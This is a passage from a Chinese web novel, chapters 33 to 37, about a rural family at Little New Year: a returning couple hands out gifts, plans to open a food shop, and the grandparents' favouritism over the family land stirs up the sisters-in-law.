但是两家孩子的父母关系好,孩子送东西来一趟,她说什么也得给他们兜里塞点吃的,才让他们走。 兄妹俩没办法,只好少少地一人拿了两颗糖,飞快骑车跑了。 他们走后,老太太回家,看过两个袋子里的东西,拿出那个红袋子,往里面分了一部分零食,才让黄妙妙给她外公外婆家送去。 不等她叮嘱孙子孙女,别出去到处宣扬家里有好吃的,黄圣德这小子得了好东西,已经拿出去炫耀一圈,屁股后面跟回来一堆小孩子。 老太太又赶忙把东西全拿到房间里藏起来了。 黄妙妙也一手拿着香甜的面包,一手提着红色的袋子,开心地边吃边往外婆家走。 她和她手上的面包,跟骑着新自行车的宁时秋兄妹俩一样,收到了一路上所有孩子羡慕的目光。 而这时候,宁家人除了住在县城教师宿舍的宁老二一家,其他人已经整整齐齐地围着饭桌坐了一圈,准备吃午饭。 宁时春把椅子拉到宁绍明身边坐下:“三叔,刚刚你让小秋给我的面包太好吃了,我还想吃,还有吗?” 赵如月没觉得什么,王海燕先受不了了。 她冲着贪吃的儿子翻了个白眼,觉得很丢人:“宁世春你几岁了?还跟着小孩一样跟人讨食,要不要脸?” 宁时春是真不觉得丢脸:“这是我亲三叔,自家人又不是外人,怎么就不能问了?” “你还敢顶嘴!”王海燕伸手就要往儿子身上抽,她就没见过贪吃成这样的! 宁绍明赶忙拦了一下,打圆场:“没事没事,大嫂别打孩子,小春说的也有道理,我是他亲叔,没什么不能问的,面包而已,不是什么值钱的东西,孩子想吃就吃了,我记得应该还有,我让小秋去拿。” 他说着看向宁时秋:“小秋去看看还有几个,够分的话,给你堂哥堂姐都拿一个。” 宁时秋放下筷子,跑去房间带着两个面包出来,分别递给堂哥堂姐。 宁丹萍红着脸接过面包,宁时春却一脸得意,午饭也不吃了,说吃这个面包就行。 王海燕恨铁不成钢地瞪一眼洋洋得意的儿子,嫌弃地说:“还孩子呢,他们这一代,他是当大哥的,明年就十八了,还没个正行!” 她看了看坐在旁边一声不吭吃着饭的弟妹。 原本还想着小叔子夫妻俩混得好,年后托他们,带她这个快成年了,又不爱读书,中专、高中都考不上的儿子一起出去打工,给他找个好工作。 可儿子这个不稳重的死德行,让她怎么开口? 第34章 王海燕难得连吃肉都没胃口,满心琢磨该怎么再找机会跟小叔子夫妻俩开口。 然而接下来宁绍明扔了个响雷,惊得他们下巴都要掉了。 “我跟小月出去一年,存的钱够还债了,明年不打算再出去。”宁绍明脸色平静地说出这话,其他人却很不淡定,尤其是老大一家。 王海燕想让儿子出去给家里挣钱,自己跟丈夫留在家里盯着老家的东西,避免自家以后在外地,不知道家里有什么,分家的时候吃亏。 可宁绍贤看弟弟疑似遇到贵人,他也想出去碰碰运气:“你们俩不出去打工,两个孩子怎么办?” 宁绍明:“大哥你这话说的,我以前在家,兜里也没什么钱,两个孩子不是养得挺好?” “那怎么一样……”宁绍贤觉得现在养孩子跟以前不一样,可他又没带过孩子,也不管孩子学习,具体怎么不一样,他说不出来。 还是王海燕补充:“现在的孩子讲究吃好穿好,读书也费钱得很,跟我们以前可不一样,要上什么兴趣班、补习班,你们不出去挣钱,以后小秋和小夏只能眼巴巴地羡慕别人家孩子,你俩不心疼啊?” 赵如月借着往嘴里送饭的动作,遮住脸暗地里撇嘴,继续去鹏城,自己孩子才要眼巴巴地羡慕别人家孩子呢! 宁绍明继续说:“我在鹏城学了手艺,在家干挣的可能不如去鹏城挣的多,但是肯定比以前什么都不会强点,养家没问题。” “你学了什么手艺?”黄秀华和宁达老两口齐声问。 他们原本也不赞同三儿子两口子明年不去鹏城,可宁绍明有手艺又不一样了。 看看三儿媳娘家,以前有个老中医,她三叔继承了这门手艺。 自从改革开放,允许私人经营后,她三叔在家开个医馆,不用出门就能把钱挣了! 现在上了年纪,成了老中医,越老越吃香,还特别受人尊敬。 老赵家因为有这门手艺,发展出不少人脉,后代学医的也不少。 跟赵如月同辈的人里,只要愿意学,现在都有工作,有的在县城的医院当医生、护士,有的在镇上卫生院工作。 当初要不是赵如月实在对学医一窍不通,现在八成也能捞个铁饭碗端着。 本来按照分家的规矩,老宅分成的两个院子,要按着排行,先分给老大和老二。 轮到老三,要是家附近没有空地建房,就只能申请其他地方的空宅基地。 他们老两口为了让赵如月父母同意赵如月嫁过来,以后能沾点老赵家这方面的光,生生改了这个规矩,承诺把老宅分出来的一个院子给老三夫妻俩。 老两口当初也盼着赵如月哪怕当不了医生,至少也能当个护士。 再回她娘家找找关系,拉拔一下老三,最好夫妻俩都端上铁饭碗。 这样他们家三个儿子,老二、老三都端上铁饭碗,有编制成了干部,不能分农村的地,家里的地就可以全给老大。 到时候老二、老三有工作,老大有地,三个儿子都能过得滋润。 谁知赵如月学医是真不开窍,期盼中的铁饭碗打了水漂,赵家的关系没靠上,好处没到手,他们都不知道该怎么跟老二夫妻俩说分房的事。 要是老三靠他岳家得了工作,他们老两口还能用这个当理由,逼着老二推让。 老二要不乐意退让,就让他给老三也找个工作,那样老二不想让也得让,因为他根本没人脉给弟弟安排工作。 现在老两口是左右为难,也不敢跟老三说他老丈人家靠不上,所以老宅不能分给他一半了。 分家这事只能一直拖着。 宁绍明根本不知道他父母的纠结,还以为是家里盖房的钱不够,才一直没分家。 他看向父母:“我在酒店上班,学了厨艺,等过了年,我想在家里空着的宅基地建个小平房,开个小店卖吃的。” “干这个靠谱吗?你们想卖什么吃的?”王海燕觉得,他还不如去跟弟妹娘家三叔学中医,“我们镇上有钱人少,大家最多集日上街赶集的时候,去吃一碗米粉,买个包子、油炸糕,开店的平时生意都不怎么样,你别把打工辛辛苦苦挣的钱全赔进去了。” 宁绍明没回答她要做什么,只是说:“大嫂不用担心,我们心里有数,开店不会用到还债的钱,我们用这次带回来的货卖出去赚的钱。” 王海燕和宁绍贤还想劝他们,却听到老娘说:“你们自己心里有数就行,也是当父母的人了,不是小孩子,我们也不好多管你们。” 黄秀华听老三说想用空宅基地开店,说完那句话,看了老伴儿一眼,还想说什么,却没说出口。 王海燕夫妻俩转头看老爹,这老头也一个劲点头,什么都不说。 当爹妈的都没反对,他们只是当哥嫂的,也不好再劝,转而问起他们进货花了多少钱?想看看他们这些货能挣多少。 宁绍明回来之前,原本想跟家里人说,这批货的进货价比镇上那些低一半。 回来后他改了主意:“我们手头的钱,扣掉还债的那部分,没剩下多少了,也就够过年用,哪还有钱拿货?那些货是我们赊账拿的,等货卖完,得先把货款给厂家寄过去,挣的钱扣掉运费,再给我那个朋友分一半。” “还要给别人分啊?”宁绍贤一听,兴趣顿时下降不少,“自己辛辛苦苦运货回来卖,别人啥都不用干就能分钱?” 光是想想他就觉得特别不爽,这不还是给别人打工么!老三两口子简直就是冤大头! 宁绍明:“话不能这么说,要不是有那个朋友,我也没拿货的门路,人家分一半利润,算是介绍费。” “你们也太冒险了,万一货砸手上亏本,没钱给别人怎么办?赶紧把那些货卖掉,把钱给人家寄去!”黄秀华听得心慌,他们自觉一辈子都是老实人,最怕欠别人钱。 交超生罚款的钱,是借亲戚朋友的还好,知根知底可以慢慢还,也没利息。 欠不认识的人钱,他们生怕被人找上门要债,那可真是丢死人了! 宁绍明了解家里人想法,才找那么一个借口。 不过看他爸妈真被吓到,还是忙安慰道:“妈,不用担心,光今天早上,那些货就卖出去一袋了,而且这生意就这一回,那些东西也不会过期,卖不出去可以慢慢卖。” 黄秀华不住地念叨:“以后别干这种事了,开店也老老实实开,别乱来,也别跟人赊账。” 宁绍明:“知道了知道了,不会有下次了。” 吃过饭,赵如月把给家里人买的衣服拿出来让他们试试。 “真是钱多烧得慌,给孩子买就行了,怎么还给我们两个老东西买?”黄秀华嘴上嫌他们乱花钱,那习惯性板着的脸,却不自觉地带出点笑来,“我们都半截身子埋土里的人,哪用得着穿这么好的衣服。” 宁达乐呵呵地摸着自己那一份:“哎呀,这鞋可真不错,厚实,穿着脚肯定暖和,都是孩子们的心意,你用不着穿,我用得着,不穿都给我。” 黄秀华嫌弃地白他一眼:“女人的衣服,你穿出去也不怕人笑话!” “怕什么,大冷天的,大不了我穿里面,外面再穿个罩衣,谁能看得出来?”宁达真伸手扒拉老妻的,“我看看,儿子儿媳把里面穿的保暖衣和外面穿的外套外裤都给买了,实在不行你留着外套外裤,把保暖衣给我穿,别人更看不出来了。” 黄秀华把他的手排开:“美得你,少穿出去给我出去丢人,谁说我不穿了!” 宁达哈哈笑起来:“看看你们老妈,明明喜欢得紧,还不承认。” 大家也跟着笑起来,气氛变得比刚才好很多。 王海燕看得眼热,没想到赵如月打开另一个袋子,拿出来四件外套递给了她。 “给我的?”王海燕有点懵地接过那四件衣服,她刚刚看到那个袋子,还以为那是赵如月给她娘家爸妈买的。 赵如月笑了笑说:“这是给你和大哥,还有小春丹萍买的,害怕买小了穿不下,我们特地买了大两号,回来看到小春和丹萍都长高不少,也不知道买大两号会不会还是小。” 这衣服给出去,好几年过年没买过新衣服的大嫂,肯定忍不出穿出去炫耀。 给了好处,以后谁也不能拿他们夫妻俩出去打工的时候,大哥大嫂在家帮着父母照顾她的两个孩子,没有功劳也有苦劳来说事了。 “小不了,他们俩光长个子没长肉,肯定能穿!”王海燕立刻让自己儿女试衣服。 他们夫妻俩也脱下旧外套,试新外套。 “看看,还有点大呢,”王海燕扯了扯袖子,“不过大点好,我们不长个的,能在里面多穿两件,他们还长个的,能多穿几年。” 因为一件衣服,王海燕觉得赵如月比以前看着顺眼多了。 她看赵如月身边还有一个袋子:“这袋子里的衣服是给老二家的?” 赵如月点头,顺势把衣服交给婆婆:“妈,我等会儿要回我娘家一趟,等二哥二嫂他们回来,麻烦你帮我把衣服给他们。” 黄秀华知道儿媳肯定也要给亲家送,自家也得了,她这会儿心里就没感觉不舒服:“好,他们现在在你二嫂娘家,今天小年,他们要回来吃小年饭,在那边吃过午饭肯定就要回来了,到时候我帮你拿给他们。” 把衣服分完,又拿了一袋糖果饼干果冻水果之类,过年用得上的东西出来交给父母。 赵如月和宁绍明带着孩子回房,准备一下就去赵如月娘家了。 原本他们预备拿出来的东西比现在更多。 可是回家后,宁绍明进厨房做午饭,发现家里除了过年吃的鸡,别的什么都没准备。 按照往年的习惯,过年的东西早该准备起来了。 宁绍明从厨房出来,就让赵如月少拿点:“家里三个儿子,还没分家,总不能过年的东西全让我们出,我们出完了,另外两个儿子出什么?什么也不出光吃么? 该孝敬的孝敬,该还的人情我们还,不该的,我们也不当那冤大头!” 第35章 赵如月带着大包小包的东西回娘家,两个‘小兵’骑着自行车在前面打头阵。 “外婆外公舅舅舅妈表哥表姐,我们来啦!”没到外婆家门口,宁时夏就大声喊人,“我爸爸妈妈也来啦!” 在门口跟邻居烤火盆打毛衣的陈芳妮坐直了身子,往他们来的方向伸长了脖子瞧,扬声回应:“小秋小夏来啦!你们舅舅在院子里编竹筐,家里的鸡今天下了好几个蛋,就等你们来呢,快去叫你们舅舅给你们做蛋炒饭吃!” 在城里,鸡蛋可能算不上什么稀罕的好东西,但在他们这个经济比较落后的小镇,鸡蛋可以攒着换钱,补贴家用买些油盐酱醋。 所以蛋炒饭对于小孩子们来说,也是稀罕的吃食,难得吃到一次。 但是每次他们来外婆家,舅舅总会给他们做蛋炒饭吃。 说着话,赵如月也走近了:“嫂子别惯着他们,今天中午绍明煮了肉,他们俩可吃了不少,家里的鸡蛋留着给思芸和光伟吃。” 陈芳妮笑着说:“哪个规定吃了肉就不能吃鸡蛋了?小秋小夏爱吃这一口,我看着他们吃得多,心里也高兴。” “就是!”宁时夏被爸爸抱着下了自行车后座的儿童椅,跑到舅妈身边,“舅妈最疼我了,我跟舅妈是一伙的!” 她说着从兜里掏出一把大白兔奶糖,塞给陈芳妮:“舅妈吃糖!” 然后不等陈芳妮说让她自己吃,她那小手已经又从另一个兜里,拿出一把水果糖。 给周围围着火盆坐的大婶大娘小媳妇儿们,一人发了一颗:“伯母婶婶阿姨们也吃糖。” 有个大娘接了糖故意逗她:“怎么给我们的糖,跟给你舅妈的不一样呀?” 孩子对待大人的问题,有时候会比较较真。 赵如月本来还担心别人这么随口逗逗,孩子不懂就会信以为真,觉得好心发糖,还被这么说,可能会不知所措、受到打击,以为自己做错了事。 谁知她闺女仰着一张笑脸,理所当然地回答:“当然啦,奶糖可是特地给我舅妈带的,舅妈对我那么好,最好吃的糖就得留给我舅妈吃!” 赵如月以前没注意过这些,现在留心观察,女儿这些举动,简直令她叹为观止。 有些人的社交能力,仿佛天生就是满级。 仅这么一会儿的功夫,周围一圈女人已经被她闺女收买完了。 一个个被逗得眉开眼笑,她嫂子更是对她闺女稀罕得不行,抱着亲了好几口。 宁时秋早已见怪不怪,淡定得很,自顾自找地方停车去。 爸爸妈妈去打工后,他们经常来外婆家吃饭,舅妈就是很喜欢妹妹。 有时候晚上也留他们在外婆家,跟外公外婆或者表哥表姐们挤着睡。 外婆家哥哥姐姐多,除了舅舅家的表姐表哥,小姨家的表姐表哥也在这里住着,宁时秋和宁时夏都觉得,住在外婆家,比在自己家里住开心多了。 赵鸿发听到声音,出来看了一眼,跟陈芳妮两人不愧是夫妻,见到宁时秋兄妹俩就说:“小秋小夏来了,吃不吃蛋炒饭?舅舅给你们做去。” 也不等他们回答,转身就往厨房去。 在厨房里,他鸡蛋都磕了,才想起来好像妹妹和妹夫也来了。 又转身出来招呼妹妹妹夫:“你俩也来了啊,外面冷,快进来坐,家里今天没烧火盆,三妹你自己拿火盆和柴去门口隔壁家的火盆借个火。” 说完又匆忙跑厨房做蛋炒饭去了,赵如月真是哭笑不得:“我现在回家,还不如两个小的受欢迎了。” “那可不!”陈芳妮学着宁时夏的话,玩笑道,“我跟咱们小夏才是一伙的!对了,还没告诉爸妈你们来了,光伟!光伟!” “干嘛?”赵光伟在对门邻居家看电视,听到他妈扯着嗓子喊,赶忙跑出来,生怕出来晚了挨骂。 陈芳妮:“快去菜地叫你爷爷奶奶回来,跟他们说你三姑三姑夫来了。” 赵光伟站在对门邻居家门口,头还往里转着眼睛认真地盯着里面的电视看。 听到他妈的话,转头过来,看到站在他家门口的三姑和三姑夫,忙打招呼:“三姑三姑夫你们来了,我这就去叫爷爷奶奶。” 赵如月拦住侄子,往他手里塞了两个蛋黄派:“拿去吃着玩,路过你大姑家顺道叫她来一趟。” 有零食吃,赵光伟乐得差点没蹦起来:“好,谢谢三姑!” 宁绍明没让赵如月去端火盆,放下手里的东西,自己去柴房拿了点柴和稻草放火盆里。 端着火盆到门口陈芳妮她们烤火的火盆里借火,也被大娘大婶们调侃,刚刚大舅子不是叫他点火盆,他也上赶着来点,可真是心疼老婆,他也只是笑笑。 宁绍明从小就知道,这些大娘大婶嘴巴厉害得很,他嘴皮子恐怕还不如自己闺女,跟她们唠他可唠不过,笑着装傻才是最适合他糊弄过去的方法。 赵如月则揣着手溜达到厨房,走到厨房门口就闻到了香味。 赵鸿发把鸡蛋炒熟,米饭炒散,放点盐炒炒,再加入酱油和葱花,那香味一下就霸道起来。 “真香啊,”饶是赵如月刚吃完饭没多久,闻到这味道也馋了,她打开碗柜拿了个小碗走过去:“哥,给我也盛两口尝尝。” “多大了,还跟孩子抢饭吃。”赵鸿发嘴上嫌弃,手里接过碗的动作却格外利索,给赵如月铲了一锅铲蛋炒饭,还要再铲一铲。 赵如月忙说:“够了够了,一铲就够了,我们吃了饭才来的,现在上了年纪,可比不得小孩子吃得多,还饿的快。” 她分了一点,剩下的量再由两个孩子分,每个分的也不算太多,不怕他俩撑坏。 赵鸿发想起孩子们的食量,忍不住笑了。 那一个个小肚子跟无底洞似的,前脚吃完一顿,出去转悠玩两圈,后脚转头回来又饿了:“能吃是福,我们小时候想吃还没有,去叫小秋和小夏来吃吧。” 赵如月端着自己那小碗出去,喊两个孩子进来,他们果然还能吃得下。 一口接一口,孩子大口认真吃饭的样子,让大人们看了都不自觉露出笑来。 菜地离家不远,他们把蛋炒饭吃完,赵斌和邓细妹也跟着赵光伟一起回来了。 赵光伟一进门就往三姑身边凑,给她汇报任务:“三姑,我去大姑家跟她说了,大姑说她先去找天宝,等会儿跟大姑父带着天宝一起来。” “知道了,我们光伟事办得不错,三姑给你个奖励。”赵如月打开带来的袋子,拿出一个盒子。 赵光伟瞬间瞪大眼睛:“哇——是四驱车!!!!” 电视上央视少儿频道最近正在重播《四驱兄弟》,街上几岁的小孩,不管男女都被四驱车迷得神魂颠倒。 赵如月给自己儿女买的时候,顺便也给娘家年纪跟儿女相仿的侄子和外甥也买了。 娘家的侄女和外甥女,比弟弟们年纪稍大点,她记得她们更喜欢给娃娃做衣服,就给她们买了娃娃。 赵如月把带回来的礼物发了一圈,成功晋升成为家里所有小孩最喜欢的长辈。 邓细妹看到女儿给家里孩子买了那么多玩具,还给他们买衣服,从里到外,从头到脚,甚至连丝巾、围巾、袜子、手套都有。 她有些担心地找了个借口,拉闺女回房间说悄悄话: “你跟绍明出去挣钱也不容易,怎么买那么多东西?还债的钱够吗?不够的话,我跟你爸给你们的钱别再还给我们了,我卖菜也私下攒了一些,到时候就跟你哥哥嫂子说,你们已经把钱还了。” “别别别,一码归一码,妈,你可别悄悄干这种事,现在我们兄弟姐妹感情多好,万一以后被我哥哥嫂子知道,不是影响我们兄妹之间的感情?” 赵如月拿出钱包:“你看看,还你们的钱我都带来了。” 邓细妹还想说不要,赵如月哪能不知道她,继续解释:“我买那些衣服和玩具全是批发价拿的,我跟绍明拿货回来卖的事,应该有人跟你们说了吧?” “早上你堂姐如桃两口子经过,确实跟我们说了一嘴,”还有一些别的熟人,邓细妹懒得数出来,就没说,“他们还叫我们一起去看看,我们想着你们刚回来,要忙的事不少,没去跟着凑热闹。” “我跟绍明带回来那些货是朋友介绍的门路,给你们买的衣服,给孩子们买的玩具也是,不过我们没做过生意,不敢把摊子铺得太大,就只拿了些袜子、丝巾围巾什么的回来,争取年前卖完好过年。” 赵如月隐去进货价之类不该说的,把事情解释清楚。 邓细妹终于放心了:“晚点我跟你去看看你们带回来的那些货,明天刚好是集日,我帮你带点货去集上卖。” “你不是还要卖菜吗?”赵如月知道娘家除了种地,没别的收入,她爸妈种菜卖菜,多少能挣点钱补贴家用。 年节正是菜能卖得上价钱的时候,哪年菜价好卖得多,她爸妈靠卖菜还能攒下一些钱。 “卖菜什么时候不能卖?把你们的货卖完才是最要紧的。”邓细妹盘算着,要不拿一点货去亲戚朋友家走一圈,价格实惠,应该也能卖出去不少。 赵如月既感动又有些哭笑不得:“妈,菜可不比我那些货,我的货不容易坏,你的菜不趁着年前卖,年后菜价跌回去,菜也老了,还怎么挣钱? 放心吧,我今早刚回来没多久,货就卖出去一袋了,还有人约好了明天再来买别的,倒是有件事得请你们帮忙。” “什么事你说。”能帮得上女儿,让邓细妹觉得更踏实,要不她得一直惦记着,女儿还回来的钱收着也不安心。 赵如月说:“吃过晚饭,想请你跟我嫂子去我那儿,帮我把货分拣一下,我大姐还得带天宝,就不叫她了。” 她确实需要人帮忙,宁丹萍未成年要早睡,婆家公公和大伯哥是老烟枪,宁时春也学了他们爱抽烟,浑身沾染烟味。 赵如月怕几个人分拣着又要抽烟,让货也沾上烟味,不想让他们碰那些货。 光靠她跟宁绍明,还有婆婆和大嫂分拣,得分拣到半夜去,明天还要早起卖货的,可不能熬那么晚。 第36章 母女俩说完话,赵如月把钱强行塞给母亲,立刻离开房间。 外面人多,邓细妹不好追出去把钱再塞回去给女儿,只好收下。 她们出来没两分钟,赵如月的大姐赵如艳,带着自己的小儿子周天宝也来了。 赵如月把给她们家买的那一份交给她。 她给娘家人买的衣服,跟婆家人一样,父母是从里到外,从上到下包括围巾、手套、袜子都有。 其他人就没那么多了,衣服只有一件厚外套,女的还有丝巾或者围巾,外加手套、袜子。 男的除了衣服,就只有手套和袜子,因为进的那几袋货里,男款的围巾实在太少。 所有男的都送的话,根本不够分,赵如月干脆就都没给。 赵如艳听她们聊起晚上要去赵如月家,帮忙分拣货,表示自己也去帮忙。 她开玩笑地说:“要不然,我都不好意思收你那么多东西。” 赵如月抱着她的小儿子颠了颠:“你家天宝晚上不闹人了?” “唉……”说到这个赵如艳忍不住叹气,也想起来自己晚上根本走不开,“这小冤家,白天谁带都行,晚上就只跟我,真是拿他没办法,要不让小梅和小菊去帮忙?她俩也收了你给的好东西,可不能光收东西什么也不干。” 家里三个孩子,她要交的超生罚款比妹妹更多,儿子也才两岁半,离不了人,又没婆婆帮衬,想出去打工都不行,也不放心让丈夫一个人去。 她家里比赵如月家还难,原本今年不打算给孩子买新衣服了,只给她们一人买一双新布鞋。 赵如艳知道,新年自家孩子看别人家孩子穿新衣服,肯定会羡慕。 可家里条件就不好,她也没办法,只能到时候跟孩子说说道理,让孩子体谅一下家里的困难。 现在三妹送的这些东西,真是送到了她的心坎上,这下不用担心新年不买新衣服,女儿们不高兴了。 周小梅和周小菊姐妹俩也在外婆家,听到妈妈的话,立刻点头应下:“我们晚上吃过晚饭就去三姨家帮忙。” 两个表姐要去三姨家,赵如月哥哥家的女儿赵思芸和她小妹家的女儿林彩柔也坐不住了,纷纷表示自己也要去。 赵如月笑着说:“好好好,都去都去,我本来还担心今晚上分拣不完那些货,才想叫妈和嫂子帮忙,结果现在反而要担心货不够你们分拣了。” 其他人听了都跟着笑起来。 赵家氛围其乐融融,躲在房间里商量事的宁家老两口表情却有些凝重。 黄秀华摸了摸放在床上的新衣裳,看向宁达:“老头子,老三想在空宅基地那边建房开店的事,你怎么想?” “什么怎么想?”宁达靠在床头眯着眼睛,嘴里还含着一颗孙子孙女出门前给的糖,“老三不是说了,只是建个小平房开店用,又不是建院子搬过去住。” “你的意思是,还是按照以前的打算,给三个儿子分房?那怎么跟老二说?” 他们当初给赵如月的父母作出分房的承诺时,完全没跟老大和老二提过这事,但老三以为他们跟老大老二都说过。 这会儿黄秀华很担心,老三要是去空宅基地建平房开店,老二肯定会认为老三分到的是那个空宅基地。 等到真正要分家,兄弟俩发现事情跟他们认为的不一样,八成要闹起来。 这是黄秀华不愿意看到的,谁都想自己的孩子和睦友爱。 以前还能拖着,现在随着老三要开店,这事不得不端到明面上来解决了,他们老两口必须尽快做出决定。 黄秀华最喜欢的孩子,是家里最有出息、端铁饭碗的老二,可最疼爱的孙辈,是最小的孙子小秋。 老三夫妻俩今年又孝敬她这么多好东西。 她自己没办法抉择,逼着宁达表态:“到底把那空宅基地给谁!?” 宁达也头疼得很,但他偏疼乖巧嘴甜的小孙女,出去吃席、放牛都爱带着:“手心手背都是肉,要不空宅基地给老二?” 黄秀华没忍住嫌弃道:“说什么手心手背都是肉,没想几秒钟就说给老二,手心肉厚,手背肉薄是吧?” “那你说怎么办?老二不是在学校分到了一间房吗?他们平时也不爱回来住,给他们院子空放着也是白放着,不如把院子分给老三。” 宁达琢磨着,等分了家,按照规矩他得跟老大家过。 老三一家住在老大家旁边,跟没分家时也没太大区别,他依旧能天天看到小孙子小孙女。 这么想着,他又找了一个把院子给老三的理由:“老二家只有一个闺女,要想不丢工作,就不能再要孩子,这房子给他,以后还不知道便宜了谁,不如给老三,以后还能传给小秋。” 黄秀华一听,觉得老头子说得也有道理。 门外,叶菁无声地深吸几口气,轻手轻脚不动声色地离开。 走到堂屋里,拽着宁绍德就往外走。 “怎么了?”宁绍德刚坐下,接过大侄子递过来的橘子准备剥开。 他一个体育老师,体格高大,被这么一拽,竟然差点摔倒,可见他老婆用了多大力气。 所以宁绍德问了那一句,叶菁铁青着脸不回答,他也不敢再问。 两人来到空旷的池塘边上,叶菁松开手,压低着声音劈头盖脸一顿骂:“你爸妈说什么孙子孙女都一样,全是放狗屁!早知道你家人是这么个德性,我嫁给乞丐也不嫁给你! 两个老家伙平时看着人模人样,没想到竟然内里藏奸!他们嫌我家丹洁是女儿早说啊,我们好早点离,我带着丹洁走,也能早点腾位置,不耽误他们另外找个能给你生儿子的!” 宁绍德越听越懵:“不是,你怎么突然说这些?刚回来的时候不是还好好的,谁在你面前瞎说了?” 叶菁:“还能有谁?不就是你的好爹妈!”她愤愤地把自己偷听到的话复述了一遍。 “不可能吧,”宁绍德不相信自己父母会那样,“小春说他们在房间里睡午觉,就算没睡觉,也不可能跟你说那样的话,我爸妈一直对你和丹洁也很好啊。” 叶菁不屑:“表面上对我们好而已,人家背地里还不是看不起你没儿子,偏心你有儿子的兄弟,你个傻子还觉得自己父母天下第一好!” “你没证据可不能乱说,我妈可能会有点重男轻女,可她也没故意对哪个孩子不好吧?” 他妈顶多是对孙子更好,宁绍德亲眼见过,他妈把好吃的东西藏起来,偷偷给孙子,这个他承认,但他妈也没跟那些恶毒奶奶一样虐待孙女不是。 “我爸就更不用说了,他对孙子孙女都一样,甚至更疼孙女,你没见他去哪里都更乐意带着孙女吗?” 一说到他爸,叶菁脸色更难看:“得了吧,你爸才是最重男轻女的那个,我刚刚站在他们房门口听得一清二楚!” 偷听的?怎么在自己家还干这种事? 宁绍德有些不高兴了:“那我们回去问个清楚,他们要是真那样,以后我们就少回来,或者我自己回来就行。” 叶菁哽了一下,她怎么可能当面去跟公婆对峙,那不是暴露她偷听的事了? 而且她有没有证据,万一那两个老家伙不承认,还倒打一耙怎么办? 这家里可全都是他们自家人,没人帮她,真对上她绝对要吃亏。 让外人知道她跟公婆闹起来,可能还会坏了名声。 她娘家也在镇上,到时候别人不会说宁家老两口怎么样,反而会说她爸妈不会教女儿,她和娘家都丢不起这个人。 叶菁眼珠子一转,想到了主意:“我们直愣愣地去问,能问出什么东西来?等分家的时候你就看着吧,因为你没儿子,他们打算,把那个连草房破屋都没有的空宅基地分给你!” 宁绍德听到这话气笑了:“你说编话好歹编得有理有据些,老家分家的规矩你又不是不懂,用这个说事,可信吗?” 叶菁冷笑:“那我们走着瞧!” “行,等分家的时候,看看到底是我们爸妈不对,还是你在瞎胡闹!” 夫妻俩都动了气,也都要面子。 一起在池塘边缓了缓,恢复好心情,维持住笑脸,让人看不出来他们吵过架,才回家去。 回去之前叶菁还拉着宁绍德,在池塘边随便薅了一把野菜。 回到家,宁时春还在堂屋烤火吃橘子。 见他们回来,他一脸不解地问:“二叔二婶,你们刚刚那么急着跑出去,是要做什么去?” 叶菁笑着举了举手上的野菜:“看到池塘边长着在城里难得见到的野菜,有点激动,怕被人摘走,顾不上带篮子就拉着你二叔摘去了。” 宁时春露出一言难尽地表情:“这菜不够嫩了,街上的大娘大婶们都不爱挖,要不可留不到你回来,你要是喜欢吃野菜,让我妈带你去我们田里找,田里长的那种更嫩更好吃,我妈正愁没人跟她一起去呢。” 叶菁笑着点头,进后院随手把野菜扔进了鸡盆里。 从后院出来,迎面遇上提着个几个袋子的婆婆,见到她笑眯眯地对她招手:“小菁快来,老三夫妻俩给你们三个也买衣服了。” 往常叶菁觉得婆婆似乎有点偏心自己老公,对自己家是真心好。 现在看到婆婆那笑脸,怎么看怎么觉得假。 可心里再别扭,她也要打起精神应付:“来了,老三夫妻俩今年怎么还给我们买衣服,妈你们也有吗?” 黄秀华乐呵呵地应着:“有,全家都有,我们今天中午都试过了,就差你们,我去把丹洁也叫来,你们一起去房间里试试看合不合身。” 第37章 赵如月从娘家回来,看到二嫂带着她女儿坐在堂屋烤火,跟两人打了个招呼。 叶菁见到她们夫妻俩,又想起自己在公婆房间门口偷听到的话,心情越发不好。 扯着嘴角露出个笑来,也跟他们打了个招呼。 赵如月上辈子上了年纪后,跟叶菁来往不少,现在却不太想看到她。 毕竟后来在背后嘲笑她的亲戚里,就有叶菁。 这个二嫂,还很会做表面功夫,哄得她以为她真是个好性子的人。 不过这辈子叶菁还什么都没做,赵如月不至于因为还没发生的事,去为难现在的她。 简单寒暄几句,两个孩子带着宁丹洁去玩,赵如月就回房,继续收拾房间去了。 她跟宁绍明的房间里东西还挺多,有他们自己的东西,也有两个孩子的东西。 乡下老人上了年纪会分开睡,有条件的会一人一个房间,没条件的就一个房间里摆两张床。 现在她公婆就是分开睡,两个孩子跟着婆婆一起睡。 不过孩子的大部分衣物依旧放在她跟宁绍明的房间。 婆婆不太讲究,把孩子的衣服混在一起,往没上锁的柜子里到处塞。 赵如月习惯把东西分门别类规整好,就想赶紧收拾出来,好好打扫一下,要不乱糟糟的,她住着总感觉浑身别扭。 他们夫妻俩在房间里收拾,为了方便进出打扫房间卫生,门没关。 王海燕从后院出来,经过她们房间门口,往里瞥了一眼,走到堂屋就扯了扯叶菁的衣袖,往赵如月房间的方向噘嘴:“你刚刚去看过没?” 叶菁不太明白她的意思:“看什么?” 王海燕一副不忍直视的样子,又冲着那方向用力眨眼睛:“老三夫妻俩呗!” “啊?”叶菁更不明白了。 人家开着门打扫房间,有什么好看的? 又不是关着门在做什么见不得人的事。 “看来你是没见着,你假装去天井洗手,路过门口看一眼就知道了。” 叶菁在王海燕的催促下,半信半疑地起身,去天井洗了个手回来,还是不解:“我看了,没什么呀。” 王海燕啧了一声,压低声音凑到叶菁耳边:“你刚刚没见到老三在打扫,还收拾被褥床单那些?” “见到了。”叶菁嫌弃她靠太近,不动声色地挪远。 “哪有让男人干这些活的!”王海燕露出一言难尽的表情,“我就说小秋妈懒得出奇,竟然使唤男人干这个!谁家不是女人干这些活?说出去绝对被人笑话!” 叶菁听了她这话无语得很,自己家这些活也是夫妻俩一起干,结婚前就说好了的。 宁绍德往常在家打扫卫生,铺床叠被子洗床单,也没见他觉得做这些丢人。 怎么到大嫂嘴里,这就全是女人的活了? 叶菁笑笑:“在自己家里,我们不说,谁知道呢?” 王海燕嘲讽的话一顿,忙道:“呵呵也是,我肯定不会出去跟人乱说的。” 叶菁心里嘲讽她见不得好,嘴上附和:“那可不,自家的事,我平时也不会到处跟人说,更别说刚收到老三夫妻俩送的东西,怎么也得念着他们的好,大嫂你们家应该也有吧?” 王海燕讪讪道:“有,都有,挺合适的,你们也试过了?” “试过了,”叶菁顺势把话题扯开,“我的跟孩子她爸的那件挺合适,就是给丹洁买的那件有点大,我平时都是按照正正好的尺码给孩子买衣服,那件今年怕是穿不上。” 